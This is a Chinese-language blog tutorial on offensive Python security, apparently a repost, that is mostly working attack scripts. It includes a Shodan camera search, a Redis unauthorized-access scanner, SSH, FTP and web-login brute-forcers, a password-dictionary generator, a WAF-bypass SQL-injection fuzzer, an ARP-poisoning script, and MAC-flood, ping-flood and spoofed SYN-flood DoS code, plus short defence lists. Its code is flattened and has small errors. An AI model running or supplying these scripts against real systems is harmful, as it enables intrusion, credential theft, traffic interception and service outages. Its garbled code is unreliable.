import shodan import jsonShodan_API_KEY = 'q************************0' shodan_api = shodan.Shodan(Shodan_API_KEY) # ip = shodan_api.host('8.8.8.8') # host()方法獲取指定IP的相關(guān)信息# 搜索JAWS攝像頭,并將IP和端口打印出來 results = shodan_api.search('JAWS/1.0') print("共有%s"%results['total']+"條搜索結(jié)果") for result in results['matches']:print(result['ip_str']+":"+str(result['port']))

小結(jié)🌇

??作為滲透測試的👻-信息搜集,信息搜集的完整性決定了你滲透測試的結(jié)果.工欲其事,必先利其器。讓Python完全替代現(xiàn)有的滲透測試工具不太現(xiàn)實(shí),但可以讓我們更好的理解我們當(dāng)今大多數(shù)滲透測試工具的原理,為我們以后??????工具打下基礎(chǔ)。

五、漏洞檢測與防御

Redis未授權(quán)訪問漏洞

??未授權(quán)訪問漏洞可以理解為安全配置、權(quán)限認(rèn)證、授權(quán)頁面存在缺陷,導(dǎo)致其他用戶🧑可以直接訪問🔎,從而引發(fā)權(quán)限可被操作數(shù)據(jù)庫、網(wǎng)站目錄等敏感信息泄露。目前存在未授權(quán)訪問漏洞的服務(wù)主要包括:NFS、 Samba、LDAP、Rsync、FTP、GitLab、Jenkms、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等。

通過手工🛠進(jìn)行未授權(quán)訪問驗證,在安裝Redis服務(wù)的Kall系統(tǒng)中連接?,如果目標(biāo)系統(tǒng)存在未授權(quán)訪問漏洞,則可以成功連接?

redis-cli -h 192.168.12.128 在本地搭建的redis漏洞環(huán)境
keys * 查看key和其對應(yīng)的值
get user 獲取用戶名
get password 獲取登錄指令
flushall 刪除所有數(shù)據(jù)

info 返回關(guān)于 Redis 服務(wù)器的各種信息和統(tǒng)計數(shù)值

Python批量檢測Redis未授權(quán)訪問漏洞

import sys import socket ''' socket連接遠(yuǎn)程主機(jī)的IP及端口號,發(fā)送info命令.利用recvdata()函數(shù)接收目標(biāo) 主機(jī)返回的數(shù)據(jù),當(dāng)時返回的數(shù)據(jù)含有'redis verslon'字符串時,表明存在未授權(quán)訪問漏 洞,否則不存在. ''' # 隨便找了幾個ip測試下 with open('redis.txt',"r") as f:url= f.read()def main():for ip in url.split():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(1) # 限制超時1秒s.connect((ip,6379))s.send('INFO\r\n'.encode('utf-8')) # info命令返回服務(wù)器版本recv_data= s.recv(1024) if "redis_version" in recv_data.decode('utf-8'):print(ip+":存在Redis未授權(quán)訪問漏洞")else:passs.close()f.close() if __name__ == '__main__':main()


????????????

漏洞防御與檢測

Redis未授權(quán)訪問漏洞產(chǎn)生的危害??????很大,甚至可以批量獲取目標(biāo)系統(tǒng)的權(quán)限,有必要針對該漏洞進(jìn)行嚴(yán)格限制和防御。針對該漏洞的防御方式有很多,下面是常見的🛡?🛡?🛡?方式:
1??禁止遠(yuǎn)程使用高危命令。
2??低權(quán)限運(yùn)行Redis服務(wù)。
3??禁止外網(wǎng)訪問Redis。
4??阻止其他用戶👤添加新的公鑰,將authorized-keys的權(quán)限設(shè)置為對擁有者只讀。

六、數(shù)據(jù)加密

根據(jù)明文處理方式的不同分為序列密碼分組密碼,根據(jù)密鑰🔑的使用個數(shù)不同分為對稱加密算法非對稱加密算法.

常見的對稱加密算法包括DES、AES等

Python實(shí)現(xiàn)DES加解密

通過Cryptodome庫函數(shù)實(shí)現(xiàn)對字符串進(jìn)行DES加解密。由于DES為分組密碼的加密方式,其工作模式有五種: ECB、CBC、CTR、CFB、OFB

from Crypto.Cipher import DES import binasciikey = '12345678' # 密鑰 des = DES.new(key.encode('utf-8'),DES.MODE_ECB) # ECB模式 text = input("請輸入要加密的字符串:") # 要加密的字符串 text = text + (8-(len(text)%8)) * '=' # 數(shù)據(jù)塊對齊# 加密 encrypt_text = des.encrypt(text.encode('utf-8')) # Result1 = binascii.b2a_hex(encrypt_text) # 字符串轉(zhuǎn)為16進(jìn)制 print("DES加密后:"+str(Result1))# 解密 decrypt_text = binascii.a2b_hex(Result1) Result2 = des.decrypt(decrypt_text) print("DES解密后:"+str(Result2))

Python實(shí)現(xiàn)AES加解密

AES加密算法的輪函數(shù)采用代替/置換網(wǎng)絡(luò)結(jié)構(gòu),包括S盒變換(ByteSub)、行移位變換(ShjhRow)、列混合變換(MixColumn)、圈密鑰加變換(AddRoundKey)。

AES為分組密碼的加密方式,其工作模式有五種: ECB、CBC、CTR、CFB、OFB.

from Crypto.Cipher import AES import binasciikey = 'abcdefghabcdefgh' # 密鑰長度須為8字節(jié) aes = AES.new(key.encode(),AES.MODE_ECB) # ECB模式 text = input("請輸入要加密的字符串:") # 要加密的字符串需為8字節(jié)的倍數(shù) text = text + (16-(len(text)%16)) * '=' # 數(shù)據(jù)塊對齊# 加密 encrypt_text = aes.encrypt(text.encode()) Result1 = binascii.b2a_hex(encrypt_text) # 字符串轉(zhuǎn)為16進(jìn)制 print("AES加密后:"+str(Result1))# 解密 decrypt_text = binascii.a2b_hex(Result1) # 16進(jìn)制轉(zhuǎn)為字符串 Result2 = aes.decrypt(decrypt_text) print("AES解密后:"+str(Result2))

Python實(shí)現(xiàn)MD5加密

MD5是以512位的分組來處理輸人的信息,并且將每一分組又劃分成16個32位的子分組,經(jīng)過了一系列的處理后,算法的輸出由四個32位的分組組成,將這四個32位的分組結(jié)合后將生成一個128位的散列值.

用Python實(shí)現(xiàn)MD5加密時用到的是hashlib模塊,可以通過hashlib標(biāo)準(zhǔn)庫使用多種Hash算法,如SHA1、SHA224、SHA256、SHA384、SHA512和MD5算法等。

from hashlib import md5def main(s):new_md5 = md5()new_md5.update(s.encode('utf-8'))print(new_md5.hexdigest())if __name__ == '__main__':main(input("請輸入要加密的字符串:"))

七、身份認(rèn)證

身份認(rèn)證攻擊總的來說分為三種攻擊🤺方式:
字典📕破解:利用工具提前生成好字典文件,只需讓破解腳本對📕的內(nèi)容逐一嘗試破解即可。這種方式效率高,成功率一般。
暴力💣破解:這種方式最為粗暴,不需要📕。將所有可能性的密碼組合(如字母+數(shù)字+特殊字符)全部進(jìn)行嘗試。這種方式需要花費(fèi)大量的時間,效率很低,但是在沒有其他條件限制的情況下肯定能猜到密碼,成功率高。
混合破解:多種破解技術(shù)結(jié)合使用。這種方法效率高,成功率也較高。

Python社工字典生成

import itertoolsdef ReadInformationList(infolist):for i in range(1,3):lines = input('請輸入第%s個關(guān)鍵字:'%i)infolist.append(lines.strip())def CreateNumberList(numberList):words = "0123456789"itertoolsNumberList = itertools.product(words,repeat=2) # 所有兩位數(shù)for number in itertoolsNumberList:numberList.append("".join(number))def CreateSpecialList(specialList):specialWords = "~!@#$%^&*()_+`-=,/:><.\|" # 特殊字符for i in specialWords:specialList.append("".join(i))# 創(chuàng)建Combinatjon()函數(shù)字典生成算法主體 可自定義組合算法 # 關(guān)鍵字與兩位數(shù)和一位特殊字符組合 def main(dictionaryFile):for a in range(0,len(infolist)):for b in range(0, len(numberList)):for c in range(0,len(specialList)):dictionaryFile.append(infolist[a] + numberList[b] + specialList[c])dictionaryFile.append(infolist[a] + specialList[c] + numberList[b])dictionaryFile.append(specialList[c] + infolist[a] + numberList[b])dictionaryFile.append(specialList[c] + numberList[b] + infolist[a])dictionaryFile.append(numberList[b] + infolist[a] + specialList[c])dictionaryFile.append(numberList[b] + specialList[c] + infolist[a])for i in dictionaryFile:print(i)if __name__ == '__main__':infolist =[]ReadInformationList(infolist)numberList = []CreateNumberList(numberList)specialList = []CreateSpecialList(specialList)dictionaryFile = []main(dictionaryFile)

Python后臺弱口令爆破

🐵🐵🐵🐵🐵🐵🐵🐵弱口令🇾🇾🇩🇸🐵🐵🐵🐵🐵🐵🐵🐵

DVWA靶場 根據(jù)返回數(shù)據(jù)包的不同---💣成功與否,關(guān)鍵在于📕是否強(qiáng)大

import requestsdef get_user(user):a = open('username.txt','r')for i in a:user.append(i.strip())def get_psd(psd):b = open('password.txt','r')for i in b:psd.append(i.strip())def main():cookiesDit = {'security':'low','PHPSESSID':'ridh5ntp6u7ua2lisb1469c2r4'}for c in user:for d in psd:url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/?username={}&password={}&Login=Login'.format(c,d)responses = requests.get(url,cookies=cookiesDit)if 'Welcome to the password' in responses.text:print("success!!! 用戶名:{},密碼:{}".format(c,d))if __name__ == '__main__':user = []get_user(user) psd =[]get_psd(psd)main()

SSH暴力破解

**SSH(SecureShell)是目前較可靠、專為遠(yuǎn)程登錄會話和其他網(wǎng)絡(luò)服務(wù)提供安全性的協(xié)議,主要用于給遠(yuǎn)程登錄會話數(shù)據(jù)進(jìn)行加密,保證數(shù)據(jù)傳輸?shù)陌踩?*🇸SH口令長度太短或者復(fù)雜度不夠,如僅包含數(shù)字🔢或僅包含字母🔤等時,容易被🤺攻擊者破解。口令—旦被🤺攻擊者獲取,將可用來直接登錄系統(tǒng),控制服務(wù)器的所有權(quán)限!

SSH主要應(yīng)用于類UNIX系統(tǒng)中,從客戶端來看, SSH提供兩種級別的安全驗證:1?基于密碼的安全驗證、2??基于密鑰🗝?的安全驗證.

from pexpect import pxssh import optparse from threading import *Max_Connect = 5 connection_lock = BoundedSemaphore(value=Max_Connect) # BoundedSemaphore 限制多進(jìn)程訪問def connect(host, user, password):try:s = pxssh.pxssh() #pxssh不支持Windowss.login(host, user, password)print("[+]Password Found:"+password)Found = Trueexcept Exception as e:pass def main():parser = optparse.OptionParser('usage %prog -H <target host> -f <passwd file> -u <username>')parser.add_option('-H', dest='host', type='string', help='target host')parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')parser.add_option('-u', dest='user', type='string', help='login username')(options,args) = parser.parse_args()host = options.hostpasswdfile = options.passwdfileuser = options.userif host==None or passwdfile==None or user==None:print(parser.usage)exit(0)mn = open(passwdfile,'r')lines = mn.readlines()for line in lines:with connection_lock:password = line.strip('\n')print('[-] Test:'+str(password))t = Thread(target=connect,args=(host, user, password))t.start() if __name__ == '__main__':main()

FTP暴力破解

1?FTP是一個文件傳輸協(xié)議,用戶通過🇫TP可從客戶機(jī)程序向遠(yuǎn)程主機(jī)上傳或下載文件,常用于網(wǎng)站代碼維護(hù)、日常源碼備份等。如果攻擊者🤺通過🇫TP匿名訪問或者通過弱口令破解獲取FTP權(quán)限,將可直接上傳📤WebShell來進(jìn)一步滲透提權(quán),直至控制整個網(wǎng)站服務(wù)器。

2?FTP是基于🇹CP的,🇫TP的命令端口為21,數(shù)據(jù)端口為20。🇫TP的任務(wù)是將一臺💻的文件傳送到另一臺💻上。在使用🇫TP前需要進(jìn)行身份驗證,驗證通過后才能獲得相應(yīng)的權(quán)限。

import ftplib# 檢查FTP是否允許匿名賬戶登錄 def CheckFTP_login(hostname):f = ftplib.FTP(hostname)try:print('[-] checking user [anonymous] with password [anonymous]')f.connect(hostname,21,timeout=10)f.login()print("\n[+] Credentials have found succcessfully.")print("\n[+] Username:anonymous")print("\n[+] Password:anonymous")print("success!!!username:{},password:{}".format("anonymous","anonymous"))f.quit()except ftplib.all_errors:print("\n[+] Anonymous login is prohibited!!!")pass # 爆破用戶名和密碼 def violence_Login(hostname):ftp=ftplib.FTP(hostname)u=open('ftp_user.txt','r')lines_user=u.readlines()usernameList = []for m in lines_user:usernameList=[' '.join([n.strip() for n in usr.strip().split('\t')]) for usr in lines_user]p=open('ftp_pwd.txt','r')lines_psd=p.readlines()passwordList = []for m in lines_psd:passwordList=[' '.join([n.strip() for n in psd.strip().split('\t')]) for psd in lines_psd]for user in usernameList:for pasw in passwordList:try:if ftp.login(user,pasw):print("\n[+] success!!! username:{},password:{}".format(user,pasw))ftp.quit() except:passCheckFTP_login('192.168.12.131') violence_Login('192.168.12.131')

1??允許匿名登錄

2??禁止匿名登錄

八、Fuzz測試

FUZZ在滲透測試中應(yīng)用廣泛,可以用于硬件測試軟件測試、安全測試等,是一種高效的、能快速檢查潛在安全威脅的技術(shù)。

Python繞過安全狗

安全狗版本為v4.0 Apache版 + 本地DVWA-SQL Injection
常見的繞過安全🐶的方式有4種:利用string繞過、利用User-agent繞過、利用MySQL語法和html的特殊性繞過、利用畸形數(shù)據(jù)包繞過。
判斷返回的頁面是否為安全🐶攔截顯示的頁面,使用頁面中返回的攻擊請求進(jìn)行判斷,不存在這4個字,則表示已經(jīng)繞過了安全狗。

import requests import sysfuzz_x = ['/*','*/','/*!','/**/','?','/','*','=','`','!','@','%','_','-','+','|','%00'] fuzz_y = ['',' '] fuzz_z = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g"]fuzz = fuzz_x+fuzz_y+fuzz_z headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36","Cookie": "security=low; PHPSESSID=6l0tittmdhgtpiktaffs9rqnvp" } url_start = "http://192.168.12.131/dvwa/vulnerabilities/sqli/?id=1"len = len(fuzz)**3 num = 0 #組合 for a in fuzz:for b in fuzz:for c in fuzz:num += 1payload = "'/**//*!*/and/*!*/"+a+b+c+"/**/'1'='1"url = url_start + payload+"&Submit=Submit#"sys.stdout.write(' '*30 +'\r')sys.stdout.flush()print("Now URL:"+url)sys.stdout.write("完成進(jìn)度:%s/%s \r" %(num,len))sys.stdout.flush()res = requests.get(url = url,headers = headers)if "攻擊請求" not in res.text:print("\033[0;33m[*]Find BypassWAF Payload:\033[0m"+url)

🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌

九、Scapy進(jìn)劫

ARP毒化

ARP(地址解析協(xié)議)數(shù)據(jù)鏈路層的協(xié)議,主要負(fù)責(zé)根據(jù)網(wǎng)絡(luò)層地址(ip)來獲取數(shù)據(jù)鏈路層地址(MAC)。

ARP毒化雖然是一種比較老的滲透測試技術(shù),但是在信息搜集方面能發(fā)揮出很不錯的效果.通過ARP毒化技術(shù)分析并提取內(nèi)網(wǎng)流量中的敏感信息,往往會有許多意外的"收獲"。

以太網(wǎng)協(xié)議規(guī)定,同—局域網(wǎng)中的一臺💻要和另一臺💻進(jìn)行直接通信,必須知道目標(biāo)主機(jī)的MAC地址。而在TCP/IP中,網(wǎng)絡(luò)層只關(guān)注目標(biāo)主機(jī)的IP地址,這就導(dǎo)致在以太網(wǎng)中使用IP協(xié)議時,數(shù)據(jù)鏈路層的以太網(wǎng)協(xié)議接收到網(wǎng)絡(luò)層的IP協(xié)議提供的數(shù)據(jù)中,只包含目的主機(jī)的IP地址,于是需要ARP來完成IP地址到MAC地址的轉(zhuǎn)換。

ARP是建立在網(wǎng)絡(luò)中各個主機(jī)互相信任的基礎(chǔ)上的,主機(jī)接收到ARP應(yīng)答報文時不會檢測該報文的真實(shí)性,而直接將報文中的IP和MAC記入其ARP緩存表。如果ARP緩存表中有相同的地址項,則會對其進(jìn)行更新。由此,攻擊者🤺可以向受害主機(jī)發(fā)送偽ARP應(yīng)答包,毒化受害主機(jī)的ARP緩存表。

kali的IP地址:192.168.12.128 MAC地址為:00:0c:29:c5:a5:bb
目標(biāo)網(wǎng)關(guān)的IP地址:192.168.12.2 MAC地址為:00:50:56:e6:e8:7d

毒化前

# ARP毒化腳本 from scapy.all import * import re import time import sys import os import optparse# 編寫ARP毒化函數(shù),對目標(biāo)主機(jī)以及網(wǎng)關(guān)不斷發(fā)送ARP應(yīng)答包來不斷毒化 def poison(targetIP,gatewayIP,ifname):# 毒化主機(jī)的MAC地址targetMAC = "00:0c:29:c5:a5:bb"# 網(wǎng)關(guān)的MAC地址gatewayMAC = "00:50:56:e6:e8:7d"if targetMAC and gatewayMAC:# 用while持續(xù)毒化while True:# 對目標(biāo)主機(jī)進(jìn)行毒化sendp(Ether(src=lmac,dst=targetMAC)/ARP(hwsrc=lmac,hwdst=targetMAC,psrc=gatewayIP,pdst=targetIP,op=2),iface=ifname,verbose=False)#對網(wǎng)關(guān)進(jìn)行毒化sendp(Ether(src=lmac,dst=gatewayMAC)/ARP(hwsrc=lmac,hwdst=gatewayMAC,psrc=targetIP,pdst=gatewayIP,op=2),iface=ifname,verbose=False)time.sleep(1)else:print("目標(biāo)主機(jī)/網(wǎng)關(guān)主機(jī)IP有誤,請檢查!")sys.exit(0)# 編寫main函數(shù),添加相關(guān)參數(shù)以及開啟系統(tǒng)路由轉(zhuǎn)發(fā)功能if __name__ == '__main__':parser = optparse.OptionParser('usage:python %prog -r targetIP -g gatewayIP -i iface \n\n')# 添加目標(biāo)主機(jī)參數(shù) -rparser.add_option('-r','--rhost',dest='rhost',default='192.168.12.1',type ='string',help ='target host')# 添加網(wǎng)關(guān)參數(shù) -gparser.add_option('-g','--gateway',dest='gateway',default='192.168.1.254',type='string',help='target gateway')# 添加網(wǎng)卡參數(shù) -iparser.add_option('-i','--iface',dest='iface',default='eth0',type='string',help='interfaces name')(options,args) = parser.parse_args()lmac = get_if_hwaddr(options.iface)lip = get_if_addr(options.iface)print("===開始進(jìn)行ARP毒化===")try:poison(options.rhost,options.gateway,options.iface)except KeyboardInterrupt:print("===停止ARP毒化")print("===停止路由轉(zhuǎn)發(fā)功能===")os.system("echo 1 >> /proc/sys/net/ipv4/ip_forward")os.system("sysct1 net.ipv4.ip_forward")

毒化后

Dos

拒絕服務(wù)攻擊(DenialofServjce,DoS)使計算機(jī)或網(wǎng)絡(luò)無法提供正常的服務(wù),是黑客常用的攻擊🤺手段之—。常見的DoS攻擊🤺包括計算機(jī)網(wǎng)絡(luò)帶寬攻擊和連通性攻擊兩種類型。
帶寬攻擊是指以極大的通信量沖擊網(wǎng)絡(luò),使得所有可用網(wǎng)絡(luò)資源都被消耗殆盡,最后導(dǎo)致合法的用戶請求無法通過。
連通性攻擊指用大量的連接請求沖擊計算機(jī),使得所有可用的操作系統(tǒng)資源都被消耗殆盡,最終導(dǎo)致計算機(jī)無法再處理合法的用戶請求。

常用的拒絕服務(wù)攻擊🤺手段包括:
同步洪流WinNuke死亡之PINGEchl攻擊ICMP/SMURFFinger炸彈Land攻擊Ping洪流RwhodtearDropTARGA3UDP攻擊OOB等。實(shí)際上拒絕服務(wù)攻擊🤺并不是一個攻擊🤺方式,而是指一類具有相似特征的攻擊🤺方式。黑客可能會利用TCP/IP協(xié)議層中的數(shù)據(jù)鏈路層網(wǎng)絡(luò)層傳輸層應(yīng)用層各種協(xié)議漏洞發(fā)起拒絕服務(wù)攻擊🤺。

數(shù)據(jù)鏈路層Dos-MAC泛洪攻擊

數(shù)據(jù)鏈路層的拒絕服務(wù)攻擊其實(shí)就是通過偽造請求主機(jī)的MAC地址信息,使得交換機(jī)內(nèi)部CAM短時間填滿,失去交換機(jī)本身的記憶功能,退化成集線器,當(dāng)接收到正常數(shù)據(jù)包時,會將全部數(shù)據(jù)以廣播的形式發(fā)送出去。此時若攻擊者🤺將自己的主機(jī)設(shè)置為混雜模式,就可以監(jiān)聽網(wǎng)絡(luò)中的其他主機(jī)接收的數(shù)據(jù)了。

當(dāng)路由器接收到包含隨機(jī)生成的IP地址和MAC地址的數(shù)據(jù)包時,交換機(jī)查詢CAM,若不存在該信息,就會不斷進(jìn)行記錄。短時間內(nèi)’大量請求會導(dǎo)致CAM被填滿,失去交換機(jī)原有的功能。

from scapy.all import * import optparsedef attack(interface):pkt =Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()sendp(pkt,iface=interface)def main():parser =optparse.OptionParser("%prog "+"-i interface")parser.add_option('-i',dest='interface',default='eth0',type='string',help='Interface')(options,args)=parser.parse_args()interface = options.interfacetry:while True:attack(interface)except KeyboardInterrupt:print('--------------------')print('Finished!')if __name__ =='__main__':main()

wireshark

網(wǎng)絡(luò)層Dos-死亡之Ping

控制多個僵尸主機(jī)一同向目標(biāo)主機(jī)發(fā)送數(shù)據(jù)時,會出現(xiàn)"死亡之ping",使目標(biāo)主機(jī)巖機(jī).

import sys from scapy.all import *def start(argv):if len(sys.argv)<2:print(sys.argv[0]+" <target_ip>")sys.exit(0)psrc = "6.6.6.6"while True:pdst = sys.argv[1]send(IP(src=psrc,dst=pdst)/ICMP()) s if __name__ == '__main__':# 定義異常try:start(sys.argv[1:])except KeyboardInterrupt:print("interrupted by user,killing all threads....")

傳輸層Dos-SYN拒絕服務(wù)攻擊

1??攻擊者向目標(biāo)計算機(jī)發(fā)送一個TCP SYN報文。
2??目標(biāo)計算機(jī)收到這個報文后,建立TCP連接控制結(jié)構(gòu),并回應(yīng)一個ACK,等待發(fā)起者的回應(yīng)。
3??發(fā)起者則不向目標(biāo)計算機(jī)回應(yīng)ACK報文,這樣導(dǎo)致目標(biāo)計算機(jī)一直處于等待狀態(tài)。

import sys from scapy.all import *def start(argv):if len(sys.argv)<2:print(sys.argv[0] +" <target_ip")sys.exit(0)psrc = '6.6.6.6'while True:pdst =sys.argv[1]send(IP(src=psrc,dst=pdst)/TCP(dport=443,flag='S'))if __name__ == '__main__':# 定義異常try:start(sys.argv[1:])except KeyboardInterrupt:print("interrupted by user, killing all threads......")

應(yīng)用層Dos-Slowloris攻擊

位于應(yīng)用層的協(xié)議有很多,常見的包括HTTP、FTP、DNS、DHCP等。
其中應(yīng)用層中的每一個協(xié)議都有可能被用來發(fā)起拒絕服務(wù)攻擊。不同于其他層,應(yīng)用層拒絕服務(wù)攻擊已經(jīng)完成了TCP的三次握手,建立起了連接,所以發(fā)起攻擊🤺的IP地址都是真實(shí)的。常見的應(yīng)用層拒絕服務(wù)攻擊有CC(ChallengeCollapasar)攻擊、Slowloris攻擊、ServerLimitDOS等。

Slowloris攻擊
以極低的速度向服務(wù)器發(fā)送HTTP請求。由于WebServer對于并發(fā)的連接數(shù)都有一定的上限,因此若惡意地占用這些連接不釋放,那么WebServe的所有連接都將被惡意連接占用,從而無法接受新的請求,導(dǎo)致拒絕服務(wù)。

pip install slowloris 安裝

防御策略

1??關(guān)閉不需要的服務(wù)和端口,實(shí)現(xiàn)服務(wù)最小化,讓服務(wù)器提供專門服務(wù)。
2??安裝查殺病毒的軟硬件產(chǎn)品,及時更新病毒庫。盡量避免因為軟件漏洞而引起的拒絕服務(wù),定期掃描現(xiàn)有的主機(jī)和網(wǎng)絡(luò)節(jié)點(diǎn),對安全漏洞和不規(guī)范的安全配置進(jìn)行及時整改,對先前的漏洞及時打補(bǔ)丁。
3??經(jīng)常檢測網(wǎng)絡(luò)和主機(jī)的脆弱性,查看網(wǎng)上漏洞數(shù)據(jù)庫,以減少或避免主機(jī)成為肉雞的可能性。
4??建立多節(jié)點(diǎn)的負(fù)載均衡,配備高于業(yè)務(wù)需求的帶寬,建立多個網(wǎng)絡(luò)出口,提高服務(wù)器的運(yùn)算能力。

十、完結(jié)

🚶🚶🚶🚶🚶🚶🚶來來回回寫了兩星期?了,邊學(xué)📚?邊寫??,🥦歸🥦,收獲很多。
明天大年初一🧨,給CSDN的大佬們拜個年🧧🧧🧧
本人一名小小的網(wǎng)絡(luò)安全愛好者,如若文章有錯誤和不妥之處,敬請大佬們請教指正

總結(jié)

以上是生活随笔為你收集整理的Python安全攻防-从入门到入狱的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。